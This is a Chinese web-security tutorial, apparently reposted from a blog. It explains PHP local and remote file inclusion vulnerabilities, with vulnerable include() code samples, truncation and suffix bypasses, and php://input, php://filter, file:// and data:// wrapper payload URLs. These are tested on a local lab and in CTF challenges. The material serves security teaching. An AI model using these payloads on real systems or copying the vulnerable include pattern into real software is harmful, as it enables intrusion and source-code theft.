文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

第31天:WEB漏洞~文件操作之文件包含漏洞全解

2023-10-06 15:29

关注

目录

1. 文件包含漏洞

在这里插入图片描述

1.1. 原理、检测、类型、修复

  1. 原理: 网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件。浅谈文件包含漏洞

文件包含各个脚本代码 ASP,PHP,JSP,ASPX等



<%@ include file=“head.jsp”%>

  1. 检测
    黑盒测试,参数值如果为文件名,则可以尝试
  2. 类型:本地包含(只可引入网站本地文件)、远程包含(包含远程网址文件,危害相较大)。两种包含类型亦各分为有限制与无限制
  3. 修复
  1. 首先是无解的WAF产品
  2. 固定后缀:添加文件后缀到所包含的文件名。实战情况下不清楚所添加的后缀,未知将在造成更多的疑虑,但是可以测一测
  3. 固定文件:似与C语言头文件,不进行所包含文件的修改,都定下来。
  4. 对可变的所包含文件名进行检测!

1.2. 无限制&有限制的包含

无限制为直接直接包含文件:

$filename=$_GET['filename'];include($filename);?>

有限制为直接直接包含文件:以添加固定后缀为例

$filename=$_GET['filename'];include($filename.".html");?>

1.2.1 本地包含

无限制:可直接包含http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
有限制:即漏洞使用有干扰,则需要特殊方法绕过

%00 截断:条件:magic_quotes_gpc = off pho版本<5.3.4
长度截断:条件:区分操作系统:windows点号需要长于256;linux长于4096

1.2.2 远程包含

无限制:直接包含:http://192.168.114.11/webinclude.php?filename=http://www.xiaodi8.com/readme.txt

限制强制添加.html 可以用以上的符号 ?%23(#注释符吧)%20(空格)(不可用)

1.3. 协议流

  1. 首先确认当前搭建网站的环境所支持的协议
    脚本所支持的协议:【图】
  2. 以php网站为例,原文链接:php伪协议
    各协议的利用条件和方法,php.ini参数设置需求:
    在这里插入图片描述

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://input

  1. php://filter用于读取源码
  2. php://input用于执行php代码
php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

  1. 当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  2. 注:当enctype=”multipart/form-data”时,php://input是无效的

http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]'); ?>

php://filter

读取文件源码用法:
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
http://127.0.0.1:8080/include.php?filename=file://D:/phpstudy/PHPTutorial/WWW/1.txt

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
http://127.0.0.1:8080/include.php?filename=data://text/plain,

2. 示例

2.1. 本地文件包含代码测试-原理

本地准备 phpinfo的txt文件

http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
大多代码语言文件包含中可添加路径以读取其他路径下文件:../../d:\

有限制时:以添加 .html后缀为例
在这里插入图片描述

2.2. 远程文件包含代码测试-原理

对于远程包含,若php环境禁止,即没有远程包含功能
在这里插入图片描述

  1. 无限制时直接包含:
    在这里插入图片描述
  2. 以添加 .html后缀为例的限制级:
    在这里插入图片描述

2.3. 各种协议流提交流测试-协议

php://input & php://filter

在这里插入图片描述
在这里插入图片描述

file://

所查询的文件将以php代码执行
在这里插入图片描述

data://,执行php代码

在这里插入图片描述

2.4. 某 CMS 程序文件包含利用-黑盒

网站源码:转载自迪师傅 提取码: 5phi
易酷CMS2.5本地文件包含漏洞复现

2.5. CTF-南邮大,春秋百度杯真题-白盒

2.5.1 CTF-南邮大

链接:CTF-南邮大

  1. 根据跳转链接敏感词 file=show.php (黑盒手工看参数及功能点)

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

  1. 直接访问 show.php 也可以正常显示,判断网站机制是将文件包含进主文件以展示
  2. 测试使用 php://input 被拒绝,尝试无所谓开启的文件读取功能
    在这里插入图片描述

2.5.2 春秋学院

春秋学院
没有认证码没有认证资料…
在这里插入图片描述


来源地址:https://blog.csdn.net/qq_42438245/article/details/127001004

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯